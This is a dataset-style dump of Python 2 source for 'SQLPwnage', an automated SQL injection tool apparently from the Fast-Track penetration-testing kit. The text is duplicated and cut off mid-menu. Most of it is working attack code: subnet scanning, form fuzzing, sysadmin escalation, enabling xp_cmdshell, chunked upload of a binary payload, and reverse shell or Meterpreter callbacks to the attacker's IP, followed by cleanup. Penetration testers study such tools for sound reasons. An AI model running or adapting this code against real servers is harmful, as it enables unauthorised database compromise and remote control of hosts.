www.xxxxx.com): ") match = re.search('http://', option) if (not match): match2=re.search('https://', option) if match2: print "SSL Detected. Establishing Tunnel..." # print "Currently Fast-Track does not support SSL. Coming soon..." # sys.exit() opt=option if (not match2): opt = ("http://"+option) if (match): opt=option request = urllib2.Request(opt) try: response = urllib2.urlopen(request) ################################################### # Call Crawl_URL Function ################################################### ################################################### Crawl_URL(opt, choice, 0) except urllib2.URLError,e: print e print "[-] Sorry, no POST parameters were identified on this site [-]" elif (test == '2'): print try: ipaddr=sys.argv[5] except Exception: ipaddr=raw_input("Enter the ip range, example 192.168.1.1-254: ") cmd = 'sudo nmap -sT -v -PN -p80 ' + ipaddr + ' > %s/bin/ftsrc/sqlpwnage/app/webscan.txt 2> /dev/null' % (definepath) os.system(cmd) scanres=os.popen("grep \"Discovered\" %s/bin/ftsrc/sqlpwnage/app/webscan.txt" % (definepath)).read() if not scanres: print "\nNo WebServers were found...Sorry.\n" else: cmd = 'grep "Discovered" %s/bin/ftsrc/sqlpwnage/app/webscan.txt | cut -c32-47 > %s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath,definepath) os.system(cmd) if not scanres: print "\nWebserver found, but does not resolve...Sorry.\n" else: print option3 = raw_input("""Scanning Complete!!! Select a website to spider or spider all??\n\n 1. Single Website\n 2. All Websites\n\n Enter the Number: """) if (option3 == '1'): print print ("List of Available Hosts:") print webrange = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') x = 1 for line in webrange.readlines(): line=line.rstrip() print '\t' + str(x) + '. ' + " " + line compsystem=open("%scomp" % (x), "w") compsystem.write(line) compsystem.close() x = x + 1 print host = raw_input("Enter the number corresponding to the hostname you would like to attempt to spider: ") selection = open(host + "comp", "r") for line in selection.readlines(): line=line.strip() opt="http://" + line Crawl_URL(opt, choice, 0) if (option3 == '2'): webrange=open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' %(definepath), 'r') for line in webrange.readlines(): line=line.strip() opt="http://" + line request = urllib2.Request(opt) try: print "Attempting to Spider: " + opt response = urllib2.urlopen(request) Crawl_URL(opt, choice, 0) except urllib2.URLError: print print "[-] Sorry, no POST parameters were identified on the site. [-]" elif (test == '3'): print print ("List of Available Hosts:") print webrange = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') x = 1 for line in webrange.readlines(): line=line.rstrip() print '\t' + str(x) + '. ' + line compsystem=open("%s/bin/ftsrc/sqlpwnage/app/%scomp" % (definepath,x), "w") compsystem.write(line) compsystem.close() x = x + 1 print host = raw_input("Enter the number corresponding to the hostname you would like to attempt to spider: ") selection = open(host + "comp", "r") for line in selection.readlines(): line=line.strip() opt="http://" + line Crawl_URL(opt, choice, 0) else: print print "***********************************************************" print "Not a Valid Choice!! Please re-enter a valid menu option." print "***********************************************************" elif choice == '3': print ############################################################### ############################################################### #User Inputs Website ############################################################### try: option=sys.argv[4] except IndexError: option = raw_input("Enter URL that is susceptible to SQL Injection (ex: www.xxxxx.com): ") opt = ("http://"+option) request = urllib2.Request(opt) try: response = urllib2.urlopen(request) Crawl_URL(opt, choice, 0) except urllib2.URLError: print print "[-] Sorry, no post parameters were identified on this site. [-]" else: print "***********************************************************" print "Not a Valid Choice!! Please re-enter a valid menu option." print "***********************************************************" except Exception,e: print e remold=subprocess.Popen("rm bin/appdata/ipaddr 2> /dev/null", shell=True).wait() endingpoint=raw_input("Press enter to exit SQLPwnage.")
58,080
Python
.py
924
38.03355
364
0.385417
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,379
sqlpwnage.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/sqlpwnage/.svn/text-base/sqlpwnage.py.svn-base
#!/usr/bin/env python ########################################################################### # Created by: Andrew Weidenhamer and David Kennedy # # # # Email: aweidenhamer@SecureState.com # # # # DISCLAIMER: This is only for testing purposes and can only be # # used where strict consent has been given. Do not use this for # # illegal purposes period. # # # ########################################################################### import sys,os,time,re,subprocess # ########################################################################### ################################ # Define CWD and Metasploit DIR ################################ definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include include.print_banner() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line remold=subprocess.Popen("rm bin/appdata/ipaddr 2> /dev/null", shell=True).wait() print " Checking SQLPwnage dependencies required to run...\n" try: from BeautifulSoup import BeautifulSoup except ImportError: print " BeautifulSoup is not installed. Please run python setup.py install from the Fast-Track root directory.\n" print " Exiting Fast-Track...\n\n" sys.exit() try: import pymills print "*** PyMills is installed. (Check) ***" except ImportError: print "!!! *ERROR* PyMills is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing PyMills Python Module, this may take a few mins" grabsetuptools=os.system("svn co http://svn.python.org/projects/sandbox/branches/setuptools-0.6/ pym;cd pym;python setup.py install;cd ..;rm -rf pym") installpymills=os.system('wget http://pypi.inqbus.de/pymills/pymills-3.4.tar.gz;tar -zxvf pymills-3.4.tar.gz;mv pymills-3.4 pymills;cd pymills/;python setup.py install;cd ..;rm -rf pymills*') print "PyMills Installed.." print "Re-checking dependancy" try: import pymills print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "PyMills is installed but you will need to restart Fast-Track in order for it to work properly." sys.exit() # DAVE Payload Delivery here def Payload_Delivery(f,my_input): import random try: payloadchoice=sys.argv[6] except IndexError: payloadchoice=raw_input("""\nWhat type of payload do you want?\n\n1. Custom Packed Fast-Track Reverse Payload (AV Safe)\n2. Metasploit Reverse VNC Inject (Requires Metasploit)\n3. Metasploit Meterpreter Payload (Requires Metasploit)\n4. Metasploit TCP Bind Shell (Requires Metasploit)\n\nSelect your choice: """) try: port=sys.argv[7] except IndexError: port=raw_input("Enter the port you want to listen on: ") try: if os.path.isfile("bin/appdata/ipaddr"): fileopen=file("bin/appdata/ipaddr","r").readlines() for line in fileopen: ipaddr=line.rstrip() if not os.path.isfile("bin/appdata/ipaddr"): ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ipaddr.connect(('google.com', 0)) ipaddr.settimeout(2) ipaddr=ipaddr.getsockname()[0] ipaddrwrite=file("bin/appdata/ipaddr", "w") ipaddrwrite.write(ipaddr) ipaddrwrite.close() except Exception: print "No internet connection detected, please enter your IP Address in manually." ipaddr=raw_input("Enter your IP here: ") ipaddrwrite=file("bin/appdata/ipaddr", "w") ipaddrwrite.write(ipaddr) ipaddrwrite.close() time.sleep(2) print "[+] Importing 64kb debug bypass payload into Fast-Track... [+]" # Take our hex2bin payload and read the lines formatpayload=file("%s/bin/ftsrc/payload/h2b" % (definepath),"r").readlines() time.sleep(2) print "[+] Import complete, formatting the payload for delivery.. [+]" # Set counters r=0 x=0 z=0 # Delete old stuff and pipe out error messages to /dev/null delold=subprocess.Popen("rm %s/bin/appdata/h2bformat* 2> /dev/null" % (definepath), shell=True).wait() for line in formatpayload: # We use this to format our payload to a specific format writepayload=open("%s/bin/appdata/h2bformat%s" % (definepath,z),"a") line=line.rstrip() # Set the first request if r < 1: line=(r"';exec master..xp_cmdshell '%s > h2b%s'" % (line,z)) if r > 0: line=(r";exec master..xp_cmdshell '%s >>h2b%s'" % (line,z)) # Tick tock the counter goes up r=r+1 writepayload.write(line) x=x+1 # Change number 300 here to increase or decrease H2b Split if x > 100: # Reset the counters writepayload.write("--") z=z+1 x=0 r=0 writepayload.write("--") writepayload.close() z=z+1 print "[+] Payload Formatting prepped and ready for launch. [+]" print "[+] Executing SQL commands to elevate account permissions. [+]" # Here we try to elevate rights to "sa", its kinda lame but has worked in the past payload=("';declare @moo varchar(50); set @moo = (select SYSTEM_USER);exec master.dbo.sp_addsrvrolemember @moo, 'sysadmin'--") f[my_input] = payload req = f.click() urllib2.urlopen(req) # No stinkin' xp_cmdshell? Well whoppppieeee print "[+] Initiating stored procedure: 'xp_cmdhshell' if disabled. [+]" payload=("';exec master.dbo.sp_configure 'show advanced options', 1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;--") f[my_input] = payload req = f.click() urllib2.urlopen(req) # DEP usually isn't a problem, this was done just to be safe.. #print "[+] Turning off Data Execution Prevention (DEP) if enabled... [+]" #payload=("';exec master..xp_cmdshell 'bcdedit.exe /set nx AlwaysOff'--") #f[my_input] = payload #req = f.click() #urllib2.urlopen(req) # Yet another counter, theres like 50 more as this goes down :P t=0 endstring=("--") # OK. This one is a long story, if you can't do all your echo's in 1 sql query, it gets suppppppppper buggy # and starts echo'ing multiple times with totally screws everything up. So here we take all the files that we # made and type them all together in 1 SQL query, it works, its a hack, we know, but it works :) filewrite=file("%s/bin/appdata/typestring" % (definepath), "w") while t != z: if t == 0: formatpayload=("';exec master..xp_cmdshell 'type h2b%s > h2b'" % (t)) if t > 0: formatpayload=(";exec master..xp_cmdshell 'type h2b%s >> h2b'" % (t)) t=t+1 filewrite.write(formatpayload) filewrite.write(endstring) filewrite.close() print "[+] Delivery Complete. [+]" try: # custom reverse payload if payloadchoice=='1': delivery=("reverse") # Start listeners ncstarter=pexpect.spawn('xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage SQL Injector" -e nc -lvp %s' % (port)) # standard reverse tcp vnc if payloadchoice == '2': delivery=("metasploit") print "Launching MSFCLI VNC Handler." msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPWnage Metasploit VNC Inject Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse VNC Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/vncinject/reverse_tcp LHOST=%s LPORT=%s AUTOVNC=true X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() # Standard reverse tcp meterpreter shell if payloadchoice == '3': delivery=("metasploit") print "Launching MSFCLI Meterpreter Handler" msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPWnage Metasploit Meterpreter Listener" -e %s/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E""" % (metapath,ipaddr,port)) print "Creating Metasploit Reverse Meterpreter Payload.." msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X > %s/bin/appdata/metasploit" % (metapath,ipaddr,port,definepath), shell=True).wait() # Standard bind shell if payloadchoice == '4': delivery=("bindshell") msfpayloadcreate=subprocess.Popen(r"%s/msfpayload windows/shell_bind_tcp LPORT=%s X > %s/bin/appdata/bindshell" % (metapath,port,definepath), shell=True).wait() # start the binary to hex conversion stuff here print "Taking raw binary and converting to hex." import binascii if delivery==("metasploit"): fileopen=file('%s/bin/appdata/%s' % (definepath,delivery),'rb').readlines() if delivery==("bindshell"): fileopen=file('%s/bin/appdata/%s' % (definepath,delivery),'rb').readlines() if delivery ==("reverse"): fileopen=file('%s/bin/ftsrc/payload/%s' % (definepath,delivery),'rb').readlines() filewrite=file('%s/bin/appdata/reversehex' % (definepath),'w') for line in fileopen: # Convert our binary to straight hex, no formatting. line=binascii.hexlify(line) filewrite.write(line) filewrite.close() fileopen2=open('%s/bin/appdata/reversehex' % (definepath)) filewrite2=file("%s/bin/appdata/reversehexsplit" % (definepath),"w") print "Raw binary converted to straight hex." time.sleep(2) except Exception: pass # The major try block here try: print "[+] Bypassing Windows Debug 64KB Restrictions. Evil. [+]" s=0 b=s+1 try: # Deliver the payload while z != s: payloadopen=file("%s/bin/appdata/h2bformat%s" % (definepath,s),"r").readlines() for line in payloadopen: # Broken into chunks incase its GET, POST isn't an issue but session requests are limited with GET print "[+] Sending chunked payload. Number %s of %s. This may take a bit. [+]" % (b,z) line=line.rstrip() payload = (line) f[my_input] = payload req = f.click() urllib2.urlopen(req) s=s+1 b=b+1 # Throw errors just in case except Exception,e: print e readtype=file("%s/bin/appdata/typestring" % (definepath), "r").readlines() for line in readtype: line=line.rstrip() payload = (line) f[my_input] = payload req = f.click() urllib2.urlopen(req) # here we take our special hex and convert back to a binary print "[+] Conversion from hex to binary in progress. [+]" payload = ("';exec master..xp_cmdshell 'debug<h2b'--") f[my_input] = payload req = f.click() urllib2.urlopen(req) print "[+] Conversion complete. Moving the binary to an executable. [+]" # debug places whatever as .bin, we just move it to h2b.exe payload = ("';exec master..xp_cmdshell 'move moo.bin h2b.exe'--") f[my_input] = payload req = f.click() urllib2.urlopen(req) # Split into chunks if we run into GET requests. print "[+] Splitting the hex into 100 character chunks [+]" while fileopen2: a=fileopen2.read(100).rstrip() if a == "": break filewrite2.write(a) filewrite2.write("\n") filewrite2.close() time.sleep(2) print "[+] Split complete. [+]" print "[+] Prepping the payload for delivery. [+]" # Counters, Counters, and more Counters r=0 x=0 z=0 import string,random # we generate a random name here in case theres multiple payloads running, ran into issues where if one was # running and the same name, the next sploit wouldn't work. randomgen=random.randrange(1,10000) ftpayloadran=("ftpayload") ftpayloadran=str(ftpayloadran)+str(randomgen) delold=subprocess.Popen("rm %s/bin/appdata/reversehexdelivery* 2> /dev/null" % (definepath), shell=True).wait() fileopen=file("%s/bin/appdata/reversehexsplit" % (definepath),"r").readlines() for line in fileopen: writepayload=open("%s/bin/appdata/reversehexdelivery%s" % (definepath,z),"a") line=line.rstrip() if r < 1: line=(r"';exec master..xp_cmdshell 'echo %s>%s%s'" % (line,ftpayloadran,z)) if r > 0: line=(r";exec master..xp_cmdshell 'echo %s>>%s%s'" % (line,ftpayloadran,z)) r=r+1 writepayload.write(line) x=x+1 # Change number 30 here to increase or decrease Payload Split if x > 100: writepayload.write("--") z=z+1 x=0 r=0 writepayload.write("--") writepayload.close() z=z+1 t=0 endstring=("--") # Format type into files here filewrite=file("%s/bin/appdata/typestring" % (definepath), "w") while t != z: if t == 0: formatpayload=("';exec master..xp_cmdshell 'type %s%s>%s'" % (ftpayloadran,t,ftpayloadran)) if t > 0: formatpayload=(";exec master..xp_cmdshell 'type %s%s>>%s'" % (ftpayloadran,t,ftpayloadran)) t=t+1 filewrite.write(formatpayload) filewrite.write(endstring) filewrite.close() s=0 b=s+1 try: while z != s: payloadopen=file("%s/bin/appdata/reversehexdelivery%s" % (definepath,s),"r").readlines() for line in payloadopen: line=line.rstrip() payload = (line) print "Sending chunk %s of %s, this may take a bit..." % (b,z) f[my_input] = payload req = f.click() urllib2.urlopen(req) #increase tick s=s+1 b=b+1 except Exception,e: print e # Type files into one file readtype=file("%s/bin/appdata/typestring" % (definepath), "r").readlines() for line in readtype: line=line.rstrip() payload = (line) f[my_input] = payload req = f.click() urllib2.urlopen(req) print "Using H2B Bypass to convert our Payload to Binary.." launchpayload=("';exec master..xp_cmdshell 'h2b.exe %s'--" % (ftpayloadran)) payload = (launchpayload) f[my_input] = payload req = f.click() urllib2.urlopen(req) launchpayload2=("';exec master..xp_cmdshell '%s %s %s'--" % (ftpayloadran,ipaddr,port)) print "Running cleanup before launching the payload...." cleanup=("';exec master..xp_cmdshell 'del h2b*'--") f[my_input]=cleanup req=f.click() urllib2.urlopen(req) print "[+] Launching the PAYLOAD!! This may take up to two or three minutes. [+]" if delivery == 'bindshell': targetip=raw_input("If successful, a bind shell should be on the system. Enter the IP or Hostname of the victim: ") msflaunch=pexpect.spawn("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPWnage Metasploit Bind Shell" -e nc %s %s""" % (targetip,port)) payload = (launchpayload2) f[my_input] = payload req = f.click() urllib2.urlopen(req) f[my_input]="erasepriorvar" print "You should have a shell if everything went good..Might take a couple seconds\n" except Exception,e: print e #pass #try: # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((ipaddr, (port))) #except socket.error: # sys.stdout.write('\a') # sys.stdout.flush() print "I HAZ BEEN PWNED O KNOS!!!!!!" cleanup=raw_input("Would you like to run cleanup on the remote server to remove the files, y or n: ") if cleanup == 'n' : print "\nExiting Fast-Track..." sys.exit() if cleanup == 'y': launchpayload1=("';exec master..xp_cmdshell 'rm ftpayload*'--") launchpayload2=("';exec master..xp_cmdshell 'rm h2b*'--") payload = (launchpayload1) f[my_input] = payload req = f.click() urllib2.urlopen(req) payload = (launchpayload2) f[my_input] = payload req = f.click() urllib2.urlopen(req) breakpoint=raw_input("Press control-c to exit Fast-Track or press enter to continue attacking.") else: print "Only hit y or n, try again..." cleanup def Exploit_Error(f): ##################################################################################### ##################################################################################### #Looks for SQL injection by injecting form fields with single quotes and other stuff ##################################################################################### counter = open('%s/bin/appdata/fields.txt' % (definepath), 'r') count=0 for line in counter: line=line.rstrip() count=count+1 print "[+] Number of forms detected: "+str(count)+ " [+]\n" copy= subprocess.Popen("cp %s/bin/appdata/fields.txt %s/bin/appdata/fields2.txt" % (definepath,definepath), shell=True).wait() copy= open ("%s/bin/appdata/fields2.txt" % (definepath), "r") inputter = open('%s/bin/appdata/fields.txt' % (definepath), 'r') for line in inputter.readlines(): my_input = line.strip() login = open('%s/bin/ftsrc/sqlpwnage/app/login_bypass.txt' % (definepath), 'r') for my_line in login.readlines(): sqlinject = my_line.strip() try: count2=0 while count2 != count: count2=count2+1 for line3 in copy: line3=line3.strip() f[line3] = "TEST" f[my_input] = sqlinject except ClientForm.ControlNotFoundError: pass try: req = f.click() except Exception: pass try: try: urllib2.urlopen(req).read() except UnboundLocalError: pass except URLError, e: try: exeception = e.read() except AttributeError: pass try: str(exeception) except Exception: pass try: error = re.search('SQL|SqlClient.SqlException|sql|ODBC|odbc', exeception) if (error): print "A SQL Exception has been encountered in the \""+my_input+"\" input field of the above website." if (error): Payload_Delivery(f,my_input) except Exception: pass def Exploit_Blind(f): ########################################################################################################################################### ########################################################################################################################################## #Blind SQL Injection ########################################################################################################################################### counter = open('%s/bin/appdata/fields.txt' % (definepath), 'r') count=0 for line in counter: line=line.rstrip() count=count+1 print "[+] Number of forms detected: "+str(count)+" [+]\n" copy= subprocess.Popen("cp %s/bin/appdata/fields.txt %s/bin/appdata/fields2.txt" % (definepath,definepath), shell=True).wait() copy= open ("%s/bin/appdata/fields2.txt" % (definepath), "r") inputter = open('%s/bin/appdata/fields.txt' % (definepath), 'r') for line in inputter.readlines(): my_input = line.strip() login = open('%s/bin/ftsrc/sqlpwnage/app/login_bypass.txt' % (definepath), 'r') for my_line in login.readlines(): sqlinject = my_line.strip() try: count2=0 while count2 != count: count2=count2+1 for line3 in copy: line3=line3.strip() f[line3] = "TEST" f[my_input] = sqlinject except Exception,e: print e Payload_Delivery(f,my_input) def Crawl_URL(option, c, flag): if (flag == 0): ################################################################################################################################################## #Crawl User Entered Website ################################################################################################################################################## # get max depth from config counter=0 fileopen=file("bin/config/config", "r").readlines() for line in fileopen: search=re.search("MAXDEPTH=",line) if search: line=line.rstrip() depth=line.split("=") depth=depth[1] counter=1 print depth if counter == '0': depth=int("100000") cmd = "python %s/bin/ftsrc/sqlpwnage/app/spider/spider.py -d %s " %(definepath,depth) +option os.system(cmd) print print "Spidering is complete." print if (flag == 1): crawled = open('%s/bin/appdata/crawled.txt' % (definepath), 'w') print >> crawled, option ################################################################################################################################################## ################################################################################################################################################## #Open Crawled Websites One by One looking for SQL injection ################################################################################################################################################## crawled = open('%s/bin/appdata/crawled.txt' % (definepath), 'r') for line in crawled.readlines(): site = line.strip() value = re.search(str(option), site) print '*************************************************************************' print site print '*************************************************************************' if (str(value) != 'None'): request = urllib2.Request(site) try: response = urllib2.urlopen(request) except URLError, e: pass try: forms = ClientForm.ParseResponse(response, backwards_compat=False) except DeprecationWarning: pass except TypeError: pass except NameError: pass except ClientForm.ParseError: pass try: my_form = str(forms) except NameError: my_form = '[]' if (my_form != "[]"): output = open('%s/bin/appdata/output.txt' % (definepath), 'w') response.close() form = forms[0] ##################################################################################################################################### #Populates Form Input and Submit Button IDs #################################################################################################################################### print >> output, form output.close() formfields = open('%s/bin/appdata/fields.txt' % (definepath), 'w') output = open('%s/bin/appdata/output.txt' % (definepath), 'r') for line in output.readlines(): match = re.search('Control', line) if (match): notinject = re.search('readonly|CheckboxControl|ImageControl|SelectControl|Submit|IgnoreControl|ListControl|SubmitControl|RadioControl', line) if (not notinject): print my_match = re.search('\((.*)\)', line) newstr = str(my_match.group(1)) newer_match = re.match('(.*)=', newstr) print >> formfields, newer_match.group(1) output.close() formfields.close() if (c == '2'): Exploit_Error(form) if (c == '1' or c == '3'): Exploit_Blind(form) ################################ # End Function Definitions ################################ ##### Print welcome screen ##### # Import Psyco if available ################################ ########################################################################### # Check to make sure that this script is running under root ########################################################################### if os.geteuid() != 0: print print " Fast-Track not running under root. Please re-run the tool under root...\n" sys.exit(1) try: import psyco psyco.full() # Pass if import unsuccessful except ImportError: print " Psyco not detected....Recommend installing it for increased speeds." pass # End Pysco Availability try: import ClientForm import os import pymills import urllib2 import re import urlparse import optparse import collections from BeautifulSoup import BeautifulSoup from urllib2 import urlopen from urllib2 import URLError from ClientForm import ParseResponse import socket, pexpect except ImportError: print " One or more of the dependencies needed to run" print " Run python setup.py install in the Fast-Track root." # Main Menu to choose try: #while 1==1 : try: choice=sys.argv[3] except IndexError: print """ SQLPWnage written by: Andrew Weidenhamer and David Kennedy SQLPwnage is a mass pwnage tool custom coded for Fast-Track. SQLPwnage will attempt to identify SQL Injection in a website, scan subnet ranges for web servers, crawl entire sites, fuzz form parameters and attempt to gain you remote access to a system. We use unique attacks never performed before in order to bypass the 64kb debug restrictions on remote Windows systems and deploy our large payloads without restrictions. This is all done without a stager to download remote files, the only egress connections made are our final payload. Right now SQLPwnage supports three payloads, a reverse tcp shell, metasploit reverse tcp meterpreter, and metasploit reverse vnc inject. Some additional features are, elevation to "sa" role if not added, data execution prevention (DEP) disabling, anti-virus bypassing, and much more! This tool is the only one of its kind, and is currently still in beta. """ choice=raw_input(''' SQLPwnage Main Menu: 1. SQL Injection Search/Exploit by Binary Payload Injection (BLIND) 2. SQL Injection Search/Exploit by Binary Payload Injection (ERROR BASED) 3. SQL Injection single URL exploitation <ctrl>-c to Cancel Enter your choice: ''') if choice == '1': print """ ---------------------------------------------------------------- - - - - - WARNING: This module can take a very long time to complete - - and is not recommended until first attempting to - - identify SQL injection by SQL error messages - - (Module 2) - - - - This module has the following two options: - - - - 1) Spider a single URL attempting blind sql injection - - explotation - - - - 2) Scan an entire subnet looking for webservers running on - - port 80. The user will then be prompted with two - - choices: 1) Select a website or, 2) Attempt to spider - - all websites that was found during the scan attempting - - to identify possible SQL Injection. This module will - - attempt blind SQL injection on every form parameter - - that is identified - - - - This module is NOT based on any error messages but rather - - attempts blind sql injection on every single "form" - - parameter on every single page. - - - - If all goes well a reverse shell will be returned back to - - the user. - ---------------------------------------------------------------- """ try: test=sys.argv[4] except IndexError: test = raw_input("""Scan a subnet or spider single URL?\n 1. url 2. subnet (new) 3. subnet (lists last scan) Enter the Number: """) if (test == '1'): print output = open('%s/bin/appdata/output.txt' % (definepath), 'w') ################################################################################################################################################### ################################################################################################################################################### #User Inputs Website ################################################################################################################################################## try: option=sys.argv[5] except IndexError: option = raw_input("Enter IP address (ex: www.xxxxx.com): ") match = re.search('http://', option) if (not match): match2=re.search('https://', option) if match2: print "SSL Detected. Establishing tunnel...." # print "Currently Fast-Track does not support SSL. Coming soon..." # sys.exit() opt=option if (not match2): opt = ("http://"+option) if (match): opt=option print opt request = urllib2.Request(opt) try: response = urllib2.urlopen(request) Crawl_URL(opt, choice, 0) except urllib2.URLError, e: print "[-] Sorry, no POST parameters were identified on this site [-]" elif (test == '2'): try: ipaddr=sys.argv[5] except Exception: ipaddr=raw_input("Enter the ip range, example 192.168.1.1-254: ") print "Scanning for web servers in the subnet, please wait..." cmd = 'sudo nmap -sT -v -PN -p80 ' + ipaddr + ' > %s/bin/ftsrc/sqlpwnage/app/webscan.txt 2> /dev/null' % (definepath) os.system(cmd) scanres=os.popen("grep \"Discovered\" %s/bin/ftsrc/sqlpwnage/app/webscan.txt" % (definepath)).read() if not scanres: print "\nNo WebServers were found...Sorry.\n" else: cmd = 'grep "Discovered" %s/bin/ftsrc/sqlpwnage/app/webscan.txt | cut -c32-47 > %s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath,definepath) os.system(cmd) websites = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') for line in websites.readlines(): web = line.strip() os.system(cmd) scanres2=os.popen("cat %s/bin/ftsrc/sqlpwnage/app/webopen.txt" % (definepath)).read() if not scanres: print "\nWebserver found, but does not resolve...Sorry.\n" else: print option3 = raw_input("""Scanning Complete!!! Select a website to spider or spider all??\n\n 1. Single Website\n 2. All Websites\n\n Enter the Number: """) if (option3 == '1'): print print ("List of Available Hosts:") print webrange = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') x = 1 for line in webrange.readlines(): line=line.rstrip() print '\t' + str(x) + '.' + " " + line compsystem=open("%scomp" % (x), "w") compsystem.write(line) compsystem.close() x = x + 1 print host = raw_input("Enter the number corresponding to the hostname you would like to attempt to spider: ") selection = open(host + "comp", "r") for line in selection.readlines(): line=line.strip() opt="http://" + line Crawl_URL(opt, choice, 0) if (option3 == '2'): webrange=open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') for line in webrange.readlines(): line=line.strip() opt="http://" + line request = urllib2.Request(opt) try: print "Attempting to Spider: " + opt response = urllib2.urlopen(request) Crawl_URL(opt, choice, 0) except urllib2.URLError: print print "[-] Sorry, no POST Parameters were identified on this site. [-]" elif (test == '3'): print print ("List of Available Hosts:") print webrange = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') x = 1 for line in webrange.readlines(): line=line.rstrip() print '\t' + str(x) + '. ' + line compsystem=open("%s/bin/ftsrc/sqlpwnage/app/%scomp" % (definepath,x), "w") compsystem.write(line) compsystem.close() x = x + 1 print host = raw_input("Enter the number corresponding to the hostname you would like to attempt to spider: ") selection = open(host + "comp", "r") for line in selection.readlines(): line=line.strip() opt="http://" + line Crawl_URL(opt, choice, 0) else: print print "***********************************************************" print "Not a Valid Choice!! Please re-enter a valid menu option." print "***********************************************************" elif choice == '2': print """ --------------------------------------------------------------- - This module has the following two options: - - - - 1) Spider a single URL looking for SQL Injection. If - - successful in identifying SQL Injection, it will then - - give you a choice to exploit. - - - - 2) Scan an entire subnet looking for webservers running on - - port 80. The user will then be prompted with two - - choices: 1) Select a website or, 2) Attempt to spider - - all websites that was found during the scan attempting - - to identify possible SQL Injection. If SQL Injection - - is identified, the user will then have an option to - - exploit. - - - - This module is based on error messages that are most - - commonly returned when SQL Injection is prevalent on - - web application. - - - - If all goes well a reverse shell will be returned back to - - the user. - --------------------------------------------------------------- """ try: test=sys.argv[4] except IndexError: test = raw_input("""Scan a subnet or spider single URL?\n 1. url 2. subnet (new) 3. subnet (lists last scan) Enter the Number: """) if (test == '1'): print output = open('%s/bin/appdata/output.txt' % (definepath), 'w') ############################################################### ############################################################### #User Inputs Website ############################################################### try: option=sys.argv[5] except IndexError: option = raw_input("Enter IP address (ex: www.xxxxx.com): ") match = re.search('http://', option) if (not match): match2=re.search('https://', option) if match2: print "SSL Detected. Establishing Tunnel..." # print "Currently Fast-Track does not support SSL. Coming soon..." # sys.exit() opt=option if (not match2): opt = ("http://"+option) if (match): opt=option request = urllib2.Request(opt) try: response = urllib2.urlopen(request) ################################################### # Call Crawl_URL Function ################################################### ################################################### Crawl_URL(opt, choice, 0) except urllib2.URLError,e: print e print "[-] Sorry, no POST parameters were identified on this site [-]" elif (test == '2'): print try: ipaddr=sys.argv[5] except Exception: ipaddr=raw_input("Enter the ip range, example 192.168.1.1-254: ") cmd = 'sudo nmap -sT -v -PN -p80 ' + ipaddr + ' > %s/bin/ftsrc/sqlpwnage/app/webscan.txt 2> /dev/null' % (definepath) os.system(cmd) scanres=os.popen("grep \"Discovered\" %s/bin/ftsrc/sqlpwnage/app/webscan.txt" % (definepath)).read() if not scanres: print "\nNo WebServers were found...Sorry.\n" else: cmd = 'grep "Discovered" %s/bin/ftsrc/sqlpwnage/app/webscan.txt | cut -c32-47 > %s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath,definepath) os.system(cmd) if not scanres: print "\nWebserver found, but does not resolve...Sorry.\n" else: print option3 = raw_input("""Scanning Complete!!! Select a website to spider or spider all??\n\n 1. Single Website\n 2. All Websites\n\n Enter the Number: """) if (option3 == '1'): print print ("List of Available Hosts:") print webrange = open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' % (definepath), 'r') x = 1 for line in webrange.readlines(): line=line.rstrip() print '\t' + str(x) + '. ' + " " + line compsystem=open("%scomp" % (x), "w") compsystem.write(line) compsystem.close() x = x + 1 print host = raw_input("Enter the number corresponding to the hostname you would like to attempt to spider: ") selection = open(host + "comp", "r") for line in selection.readlines(): line=line.strip() opt="http://" + line Crawl_URL(opt, choice, 0) if (option3 == '2'): webrange=open('%s/bin/ftsrc/sqlpwnage/app/webopen.txt' %(definepath), 'r') for line in webrange.readlines(): line=line.strip() opt="http://" + line request = urllib2.Request(opt) try: print "Attempting to Spider: " + opt response = urllib2.urlopen(request) Crawl_URL(opt, choice, 0) except urllib2.URLError: print print "[-] Sorry, no POST parameters were identified on the site. [-]" elif (test == '3'): print print ("List of Available Hosts:") print 